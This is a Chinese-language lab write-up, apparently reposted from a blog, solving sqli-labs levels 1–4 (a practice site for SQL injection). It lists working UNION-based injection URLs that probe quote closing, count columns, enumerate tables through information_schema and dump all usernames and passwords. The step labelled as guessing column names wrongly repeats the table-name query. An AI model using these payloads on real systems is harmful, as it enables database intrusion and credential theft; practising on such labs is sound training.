sqli-labs实战wp1-4

实验环境

http://43.247.91.228:84

Less-1

首先尝试一下

?id=1'

报错

 这里提醒了该数据库是Mysql

可能是后面的'没有闭合

输入

?id=1'--+

返回正常

然后用order by 去猜列数

猜3时返回正常

 

 猜4时报错,说明列数是3

常规步骤 爆库->爆表->爆列

现在可以用union select 去回显某一列的内容

http://43.247.91.228:84/Less-1/?id=1' union select 1,2,3--+

接下来开始要用mysql里自带的information_schema表

猜表名

http://43.247.91.228:84/Less-1/?id=1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

猜列名

http://43.247.91.228:84/Less-1/?id=1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

猜对应的内容

http://43.247.91.228:84/Less-1/?id=-1' union select 1,2,concat_ws('#',username,password) from users limit 0,1--+

爆所有用户名和密码

http://43.247.91.228:84/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Less-2

尝试

?id=1'
?id=1'--+

均报错,尝试加)报错

直接猜列数

接下来就和less-1同理

 就随便查了

Less-3

输入

?id=1'

报错,尝试

?id=1'--+

报错

猜测这压力应该是一个' + )闭合

http://43.247.91.228:84/Less-3/?id=1')--+

 猜列数是3

http://43.247.91.228:84/Less-3/?id=1') union select 1,2,3--+

Less-4

 尝试输入?id=1'--+不报错

输入 ?id=1"--+报错

猜测为 一个 " + ) 闭合

验证

输入?id=1")--+

显示正常

http://43.247.91.228:84/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

猜你喜欢

转载自www.cnblogs.com/mouzaisi/p/12225755.html